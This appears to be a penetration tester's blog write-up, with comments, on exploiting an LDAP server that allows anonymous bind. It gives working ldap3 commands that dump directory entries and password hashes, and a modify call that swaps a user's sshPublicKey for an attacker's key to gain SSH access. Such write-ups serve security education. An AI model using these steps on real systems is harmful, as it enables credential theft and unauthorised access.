I was recently on a penetration test that was completely locked down, I was completely alone in my subnet, and almost all of my scope targets were firewalled off. After running a bunch of port scans, I was left only with a few SSH services on port 22, and one Secure LDAP server on port 636.
LDAP (Lightweight Directory Access Protocol) is an open and cross platform protocol used for directory services authentication. I frequently see LDAP in relation to Active Directory, however there are many other directory services that take advantage of this open standard. In my case, this environment was all Linux, so it was likely using something else, such as OpenLDAP or Red Hat Directory Service.
There are many ways to interact with LDAP, such as LdapMiner, LDAP Explorer, or simply using ldapsearch which is installed by default on most Linux systems. Seeing as I was on a Linux host, ldapsearch seemed like the obvious choice but since I’m partial to Python and has used it in my previous blog post, I decided to use it with the ldap3 library.
First some quick notes on enumeration before we dive into exploitation. LDAP servers with anonymous bind can be picked up by a simple Nmap scan using version detection. LDAP typically listens on port 389, and port 636 for secure LDAP.
$ sudo nmap x.x.X.x -Pn -sV PORT STATE SERVICE VERSION 636/tcp open ssl/ldap (Anonymous bind OK)
Once you have found an LDAP server, you can start enumerating it. Open python and perform the following actions:
- install ldap3 (pip install ldap3)
- Create a server object. You will need the IP or hostname, the port, and if using secure LDAP, “use_ssl = True”.
- To extract the DSE naming contexts, you also need to put get_info = ldap3.ALL.
- Create a connection object, and then call bind().
- Once bound (You should see a “true”) call .info on your server object.
$ python >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN
Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory.
>>> connection.search('dc=DOMAIN,dc=DOMAIN', '(objectclass=*)') True >>> connection.entries
In my case, I didn’t have that many objects, so I performed a query to dump everything.
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries
This query enumerated all of the objects and then dumped all of their attributes as well. A sample of what I saw can be seen below:
DN: uid=USER,ou=Employees,dc=DOMAIN,dc=DOMAIM - STATUS: Read - READ TIME: 2020-02-04T00:50:00.017592 cn: USER displayName: User User gidNumber: 1234 homeDirectory: /home/user loginShell: /bin/bash mail: user.user@domain.domaim objectClass: inetOrgPerson organizationalPerson person top posixAccount shadowAccount ldapPublicKey sn: Linux sshPublicKey: ssh-rsa AAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAA== user.user@domain.domain uid: USER uidNumber: 1234 userPassword: {SHA}AbCdEfGhIjKlMnOpQrStUvWxYz==
Most interesting of course was the “userPassword” field. This contained a SHA1 hash of the users password. Other user’s were found to have {SSHA} as a prefix, which is a salted SHA1 hash.
To dump just the password hashes of all users, I performed the following query:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries
As these were SHA1, they were cracked very quickly. From that point, they could then be used to authenticate to any other exposed systems requiring password authentication.
Update February 7th, 2019
The server turned out to be using OpenLDAP, and this was validated by running:
LDAPTLS_REQCERT=never ldapsearch -H ldaps://x.x.x.x -x -v -b '' -s base
Which returned:
ldap_initialize( ldaps://x.x.x.x:636/??base ) filter: (objectclass=*) requesting: All userApplication attributes # extended LDIF # # LDAPv3 # base <> with scope baseObject # filter: (objectclass=*) # requesting: ALL # # dn: objectClass: top objectClass: OpenLDAProotDSE
It’s also important to note that this is not the default configuration for OpenLDAP, the client’s LDAP administrator had configured it to be this open.
Another viable post exploitation action is to crack the passwords and then bind back to LDAP with those credentials. One of the attributes I found aside from userPassword was sshPublicKey. A search online found that many people use this attribute to augment the authorized_keys file on Linux, so that they can centralize it. This provides an opportunity for an attacker, because if they can modify this attribute, they can authenticate to systems that do not allow password based authentication by replacing the value with a public key of their own.
To perform this attack, the attacker would first needs to generate a key pair. They would then need to authenticate to the LDAP server with a privileged user:
$ python >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
After performing an authenticated bind, they could then update the sshPublicKey attribute with an attacker controlled key.
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Many Linux systems are configured to not allow password based authentication, and if these keys were synced, the attacker could now log onto server using key-based authentication.
I later learned that sshPublicKey can hold multiple values, so a more elegant solution would have been to append another value instead of replacing it.
For more discussion, please see the thread on Twitter made after this blog post. Special thanks to Firstyear(@Erstejahre) for sharing their LDAP expertise.
It looks like a lack if access controls on the userpassword field. Can you do “ldapsearch -b ‘’ -x -s base” and post me the results to conform which ldap server it is?
Ps: im a developer of redhat directory server.— Firstyear (@Erstejahre) February 5, 2020
I’m trying to perform the same attack on an LDAP server, but when I do connection.search it outputs “False”.
Does this mean that it won’t work?
This could be caused by multiple reasons. I’d suggest running:
connection.result
In the interpreter to see what the exact error is. In my lab, this occurred twice for different reasons. The first was because only a certain version was permitted which you have to specify here:
connection = ldap3.Connection(server, version=3)
The second and more likely reason is that anonymous bind is simply disabled. In most cases you can get the root DSE via an anonymous bind on Windows but on Linux-based LDAP servers, you can disable that functionality too (OpenLDAP or ApacheDS).
P.S. Hey n00py, hope you’ve been well! I really enjoyed your BloodHound Unleashed talk presentation. You’re killing it man! Alright just wanted to say hey! Peace!
Thanks Austin! Good to hear from you.